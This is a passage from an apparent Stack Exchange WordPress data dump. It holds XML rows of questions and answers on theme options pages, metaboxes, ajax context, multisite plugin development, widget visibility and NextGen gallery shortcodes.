$value) {&#xA;switch ( $value['type'] ) {&#xA;&#xA;case &quot;open&quot;:&#xA;?&amp;gt;&#xA;&amp;lt;table width=&quot;100%&quot; border=&quot;0&quot; style=&quot;background-color:#cdcdcd; padding:10px;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;close&quot;:&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/table&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case &quot;title&quot;:&#xA;?&amp;gt;&#xA;&amp;lt;table width=&quot;100%&quot; border=&quot;0&quot; style=&quot;background-color:#868686; padding:5px 10px;&quot;&amp;gt;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;h3 style=&quot;font-family:Georgia,'Times New Roman',Times,serif;&quot;&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;case 'text':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&quot;20%&quot; rowspan=&quot;2&quot; valign=&quot;middle&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;80%&quot;&amp;gt;&amp;lt;input style=&quot;width:400px;&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php     echo $value['id']; ?&amp;gt;&quot; type=&quot;&amp;lt;?php echo $value['type']; ?&amp;gt;&quot; value=&quot;&amp;lt;?php if ( get_settings(     $value['id'] ) != &quot;&quot;) { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot; style=&quot;margin-bottom:5px;border-bottom:1px dotted #000000;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;break;&#xA;&#xA;case 'textarea':&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&quot;20%&quot; rowspan=&quot;2&quot; valign=&quot;middle&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;80%&quot;&amp;gt;&amp;lt;textarea name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; style=&quot;width:400px; height:200px;&quot; type=&quot;&amp;lt;?php echo $value['type']; ?&amp;gt;&quot; cols=&quot;&quot; rows=&quot;&quot;&amp;gt;&amp;lt;?php if ( get_settings( $value['id'] ) != &quot;&quot;) { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot; style=&quot;margin-bottom:5px;border-bottom:1px dotted #000000;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;break;&#xA;&#xA;case 'select':&#xA;?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&quot;20%&quot; rowspan=&quot;2&quot; valign=&quot;middle&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;80%&quot;&amp;gt;&amp;lt;select style=&quot;width:240px;&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php foreach ($value['options'] as $option) { ?&amp;gt;&amp;lt;option&amp;lt;?php if ( get_settings( $value['id'] ) == $option) { echo ' selected=&quot;selected&quot;'; } elseif ($option == $value['std']) { echo ' selected=&quot;selected&quot;'; } ?&amp;gt;&amp;gt;&amp;lt;?php echo $option; ?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php } ?&amp;gt;&amp;lt;/select&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot; style=&quot;margin-bottom:5px;border-bottom:1px dotted #000000;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;break;&#xA;&#xA;case &quot;checkbox&quot;:&#xA;?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&quot;20%&quot; rowspan=&quot;2&quot; valign=&quot;middle&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php echo $value['name']; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;td width=&quot;80%&quot;&amp;gt;&amp;lt;?php if(get_option($value['id'])){ $checked = &quot;checked=\&quot;checked\&quot;&quot;; }else{     $checked = &quot;&quot;;} ?&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; id=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;&quot; value=&quot;true&quot; &amp;lt;?php echo $checked; ?&amp;gt; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td&amp;gt;&amp;lt;small&amp;gt;&amp;lt;?php echo $value['desc']; ?&amp;gt;&amp;lt;/small&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot; style=&quot;margin-bottom:5px;border-bottom:1px dotted #000000;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php break;&#xA;&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;save&quot; type=&quot;submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;reset&quot; type=&quot;submit&quot; value=&quot;Reset&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;reset&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}add_action('admin_menu', 'mytheme_add_admin');&#xA;add_action('admin_init', 'mytheme_add_init');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6568" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-06-30T05:19:15.973" LastActivityDate="2011-06-30T11:45:08.430" Title="Editor cannot access Theme Options" Tags="&lt;functions&gt;&lt;editor&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="21522" PostTypeId="2" ParentId="21520" CreationDate="2011-06-29T21:47:14.933" Score="1" ViewCount="" Body="&lt;p&gt;i don't see any filters you could latch on it in wp-admin/includes/metaboxes.php.  but, you could remove the box and replace it with your own version... for example: this tut removes the categories metabox and replaces it w/ a new version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ilovecolors.com.ar/avoid-hierarchical-taxonomies-to-loose-hierarchy/&quot; rel=&quot;nofollow&quot;&gt;http://www.ilovecolors.com.ar/avoid-hierarchical-taxonomies-to-loose-hierarchy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-29T21:47:14.933" />
  <row Id="21523" PostTypeId="2" ParentId="21507" CreationDate="2011-06-29T21:50:43.433" Score="0" ViewCount="" Body="&lt;p&gt;take a look at the WP alchemy metabox class.  Dimas has already sorted that out w/ his have_fields_and_multi setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;farinspace.com/wpalchemy-metabox/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-29T21:50:43.433" CommentCount="1" />
  <row Id="21524" PostTypeId="2" ParentId="3027" CreationDate="2011-06-29T21:53:53.867" Score="1" ViewCount="" Body="&lt;p&gt;it's pretty alpha... but this was supposed to be a branch off of the awesome WP_Alchemy which kicks butt at regular metaboxes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/farinspace/wpalchemy/tree/taxonomy&quot; rel=&quot;nofollow&quot;&gt;https://github.com/farinspace/wpalchemy/tree/taxonomy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-29T21:53:53.867" />
  <row Id="21525" PostTypeId="2" ParentId="21520" CreationDate="2011-06-29T22:22:30.207" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21487/can-custom-taxonomies-be-displayed-inside-of-a-custom-meta-box&quot;&gt;this&lt;/a&gt; Question and my answer, which is quite similar.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-29T22:22:30.207" />
  <row Id="21526" PostTypeId="1" AcceptedAnswerId="21529" CreationDate="2011-06-29T22:29:57.203" Score="0" ViewCount="65" Body="&lt;p&gt;What processing is done by wordpress when a page is accessed that loads all contextual information into $post and other variables? and is it possible to trigger this process manually (or simulate it) so function calls have this context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I'm asking is because I have written a small &lt;a href=&quot;http://wordpress.org/extend/plugins/ajaxize/&quot; rel=&quot;nofollow&quot; title=&quot;plugin&quot;&gt;plugin&lt;/a&gt; that allows users to call wordpress functions via Ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin works great with context-less functions. It has a big limitation however: calling a function via ajax loses the context information (e.g. $post) that the called function would otherwise have, had it been placed from within a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the ajax call does send across the HTTP Referrer information. I can easily extract the referrer info, so I know e.g. on which page the user is on. The problem is I'm not sure how to use it further. Any tips/ideas would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4741" LastActivityDate="2011-06-29T23:21:33.760" Title="how to get context information inside my funcion" Tags="&lt;plugin-development&gt;&lt;functions&gt;&lt;ajax&gt;" AnswerCount="2" />
  <row Id="21527" PostTypeId="2" ParentId="21516" CreationDate="2011-06-29T22:43:03.250" Score="0" ViewCount="" Body="&lt;p&gt;Categories is ok for one blog, but if you have more, then multisite is the best option. It's easy to setup the theme, plugins and everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Installing_Multiple_Blogs&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Installing_Multiple_Blogs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6619" LastActivityDate="2011-06-29T22:43:03.250" />
  <row Id="21528" PostTypeId="2" ParentId="21459" CreationDate="2011-06-29T22:53:57.823" Score="0" ViewCount="" Body="&lt;p&gt;Awww...&#xA;in &lt;strong&gt;admin-ajax.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_ADMIN', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;strong&gt;cleaner-gallery.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cleaner_gallery_setup() {    &#xA;    if ( is_admin() ) {&#xA;        require_once( CLEANER_GALLERY_DIR . 'admin.php' );&#xA;    } else {&#xA;        require_once( CLEANER_GALLERY_DIR . 'gallery.php' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I have to manually include &amp;amp; run the necessary plugin code skipped after checking the WP_ADMIN constant, but I guess the need for a frontend ajax handler is becoming increasingly urgent!&lt;/p&gt;&#xA;" OwnerUserId="6606" LastActivityDate="2011-06-29T22:53:57.823" />
  <row Id="21529" PostTypeId="2" ParentId="21526" CreationDate="2011-06-29T23:08:47.787" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;you're requesting &lt;em&gt;index.php&lt;/em&gt; which I guess it's the homepage; if I call for example is_category() trough your ajax from the category page I'll get false because the function is being ran on the homepage. Use &lt;code&gt;$_SERVER[&quot;REQUEST_URI&quot;]&lt;/code&gt; instead (don't forget to sanitize it)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you're hooking your handler on the &lt;code&gt;init&lt;/code&gt; action, which I think runs before the post data is set up. Use a different one, like &lt;code&gt;wp&lt;/code&gt; or &lt;code&gt;template_redirect&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-29T23:08:47.787" CommentCount="1" />
  <row Id="21530" PostTypeId="2" ParentId="21519" CreationDate="2011-06-29T23:15:18.193" Score="1" ViewCount="" Body="&lt;p&gt;the way WordPress stores pages in the database is the same as it stores posts, so it makes no difference if the content is created as pages or posts (static or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if most of the content is static you can always use a caching plugin to serve that content as static.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T23:15:18.193" />
  <row Id="21531" PostTypeId="2" ParentId="21526" CreationDate="2011-06-29T23:21:33.760" Score="0" ViewCount="" Body="&lt;p&gt;To use WordPress functions from ajax call you need to hook your own function to wp-admin/admin-ajax.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get a better understanding take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9231/whats-the-preferred-method-of-writing-ajax-enabled-plugins/9236#9236&quot;&gt;&lt;strong&gt;This&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T23:21:33.760" CommentCount="5" />
  <row Id="21532" PostTypeId="1" CreationDate="2011-06-29T23:22:41.340" Score="0" ViewCount="15" Body="&lt;p&gt;Based on help here (&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/21508/use-of-javascript-with-dojo-dijit-on-a-wordpress-page&quot;&gt;Use of Javascript with Dojo/Dijit on a WordPress page&lt;/a&gt;) I got Dijit half way working using a custom template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I still can't figure out why WP inserts breaks where it does. I'd like to keep as much of the page in the WP Page, and as little in the template as possible.  Worst case, I guess I do it all in a template.  Right now, I have the header in the template, and the form-stuff in the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, why doesn't Width and the textbox for Width show up on the same line (all browsers)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I typed in (I put it all one big long line to try to avoid the breaks): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;controlWidth&quot;&amp;gt;Width:&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;controlWidth&quot; value=&quot;99&quot; dojoType=&quot;dijit.form.TextBox&quot; trim=&quot;true&quot; id=&quot;controlWidth&quot; propercase=&quot;false&quot; style=&quot;width: 50px&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What WP puts out: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;        &amp;lt;label for=&quot;controlWidth&quot;&amp;gt;Width:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;controlWidth&quot; value=&quot;99&quot; dojoType=&quot;dijit.form.TextBox&quot; trim=&quot;true&quot; id=&quot;controlWidth&quot; propercase=&quot;false&quot; style=&quot;width: 50px&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Secondly, the ColorPalatte looke good in IE, but not FireFox 5 nor Chrome 12. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. There is tag for JQuery but not Dojo nor Dijit. I don't have the points to add it. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-06-29T23:22:41.340" Title="Dijit in WordPress - Alignment Follow-up" Tags="&lt;javascript&gt;&lt;formatting&gt;&lt;line-breaks&gt;" />
  <row Id="21533" PostTypeId="1" AcceptedAnswerId="21534" CreationDate="2011-06-29T23:28:12.340" Score="0" ViewCount="51" Body="&lt;p&gt;Is it possible to add a checkbox to all widgets loaded into sidebars? For example, I'd like to allow the site owner to choose whether any widget should appear on the home page, inside pages, both or neither.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking a checkbox interface appended to the widget control interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done something like this and what level of complexity are we talking?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-06-29T23:38:12.120" Title="Option to show/hide widget depending on is_home?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="21534" PostTypeId="2" ParentId="21533" CreationDate="2011-06-29T23:38:12.120" Score="0" ViewCount="" Body="&lt;p&gt;There are plugins that can do this like &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-context/&quot; rel=&quot;nofollow&quot;&gt;Widget Context&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your own solution then it's pretty easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hook your function with the checkbox on &lt;code&gt;in_widget_form&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;hook your widget update function &lt;code&gt;widget_update_callback&lt;/code&gt; (update the widget option)&lt;/li&gt;&#xA;&lt;li&gt;check if the option was checked using the &lt;code&gt;widget_display_callback&lt;/code&gt; hook (return false if it is)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Post what you have so far if you need sample code. I've implemented a feature like this in one of my themes...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-29T23:38:12.120" CommentCount="3" />
  <row Id="21535" PostTypeId="2" ParentId="21517" CreationDate="2011-06-30T00:04:37.137" Score="3" ViewCount="" Body="&lt;p&gt;create a .php file within the root WP folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  define('WP_USE_THEMES', false);&#xA;  require('wp-blog-header.php');&#xA;  wp_nav_menu(array('theme_location' =&amp;gt; 'my_menu')); // change it with your menu location&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and call it in your .html page (as a iframe). These only gets you the menu HTML, so you'll also need to import the theme CSS styles. Not sure how iframe content is styled, you might need to add them inside the .php file too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other solutions, like using javascript to request your homepage HTML, then get the menu element from the results and append it into your html-powered website&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-30T00:04:37.137" />
  <row Id="21536" PostTypeId="1" CreationDate="2011-06-30T01:08:20.203" Score="1" ViewCount="66" Body="&lt;p&gt;Do you any good book or video tutorials that easily explain how can I make my own theme for Wordpress? and how to change the structure of the content? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers. &lt;/p&gt;&#xA;" OwnerUserId="6622" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-06-30T05:27:35.673" LastActivityDate="2011-06-30T05:27:35.673" Title="What is the best book to learn how to make themes for wordpress?" Tags="&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="1" />
  <row Id="21537" PostTypeId="2" ParentId="17905" CreationDate="2011-06-30T01:12:31.597" Score="7" ViewCount="" Body="&lt;p&gt;You'll need to test in both setups, because they behave differently in a lot of situations. Some of the most notable differences are: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you register an activation callback, you need to check if the activation was network-wide. If it was, &lt;a href=&quot;http://shibashake.com/wordpress-theme/write-a-plugin-for-wordpress-multi-site&quot; rel=&quot;nofollow&quot;&gt;run the activation logic for all the blogs&lt;/a&gt; instead of just one.&lt;/li&gt;&#xA;&lt;li&gt;If the plugin is network-activated, the regular activation callback won't fire when new blogs are added, so you'll need to create an additional callback that hooks into the &lt;code&gt;wpmu_new_blog&lt;/code&gt; action. It has to switch to the new blog, do the activation logic, and restore the current blog. The $id of the new blog is passed in to the handler as the first parameter.&lt;/li&gt;&#xA;&lt;li&gt;If you're creating a custom post type and want the Set Featured Image meta box to show up, you'll need to ensure the Media Upload Buttons setting has the Images checkbox enabled. You can use &lt;code&gt;get_site_option( 'mu_media_buttons' );&lt;/code&gt; to check it and &lt;code&gt;update_site_option()&lt;/code&gt; to set it.&lt;/li&gt;&#xA;&lt;li&gt;The path to the uploads directory is different, but you'll be fine as long as you always use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_upload_dir&quot; rel=&quot;nofollow&quot;&gt;wp_upload_dir()&lt;/a&gt; instead of the constants.&lt;/li&gt;&#xA;&lt;li&gt;Each blog has it's own copy of most of the database tables, and they're prefixed with the blog ID. You don't typically need to do anything special, though as long as you're using the API to interact with the database -- which you should, whenever possible.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;users&lt;/em&gt; and &lt;em&gt;usermeta&lt;/em&gt; tables are the exception; they're shared across all blogs.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/switch_to_blog&quot; rel=&quot;nofollow&quot;&gt;switch_to_blog()&lt;/a&gt;  if you need to temporarily access another blog's data with API functions, and then &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/restore_current_blog&quot; rel=&quot;nofollow&quot;&gt;restore_current_blog()&lt;/a&gt; to switch back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example of the activation functions by browsing the source of one of my plugins, &lt;a href=&quot;http://plugins.svn.wordpress.org/basic-google-maps-placemarks/tags/1.2/&quot; rel=&quot;nofollow&quot;&gt;Basic Google Maps Placemarks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-04T04:34:21.783" LastActivityDate="2011-07-04T04:34:21.783" CommentCount="2" />
  <row Id="21538" PostTypeId="2" ParentId="21536" CreationDate="2011-06-30T01:18:21.443" Score="4" ViewCount="" Body="&lt;p&gt;I would start with the Codex:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex: Theme Development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These two books are still current enough to remain great resources:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/047066990X&quot; rel=&quot;nofollow&quot;&gt;Smashing WordPress Themes&lt;/a&gt;, Thord Daniel Hedengren&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0980455294&quot; rel=&quot;nofollow&quot;&gt;Build Your Own Wicked WordPress Themes&lt;/a&gt;, Alan Cole, Jeffrey Way, et al&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These also have Theme applicability:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://digwp.com/book/&quot; rel=&quot;nofollow&quot;&gt;Digging Into WordPress&lt;/a&gt;, Chris Coyier, Jeff Starr&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt;, Brad Williams et al&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470560541&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress&lt;/a&gt;, Brad Williams et al&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470568135&quot; rel=&quot;nofollow&quot;&gt;WordPress Bible&lt;/a&gt;, Aaron Brazell&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Most of the rest are either too general, or too outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgot to add Digging Into WordPress!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-30T01:18:21.443" />
  <row Id="21539" PostTypeId="1" AcceptedAnswerId="21540" CreationDate="2011-06-30T01:54:03.347" Score="1" ViewCount="63" Body="&lt;p&gt;When a user creates a new post there is a meta field on the back end where they can enter the id of the nextgen gallery to display. I want to then display in their post the gallery which corresponds to the id they entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the code below $meta echoes as #3 and the gallery shows, so I know that for this post rw_propGallery is set to 3, and that three is the id of an existing gallery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_post_meta(get_the_ID(), 'rw_propGallery', true);&#xA;echo $meta;&#xA;echo do_shortcode('[nggallery id=3]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I switch it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo do_shortcode('[nggallery id=$meta]')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the number 3, and &quot;Gallery not found&quot;.&#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-06-30T02:21:51.543" Title="Displaying NextGen Gallery using value from meta not working" Tags="&lt;php&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
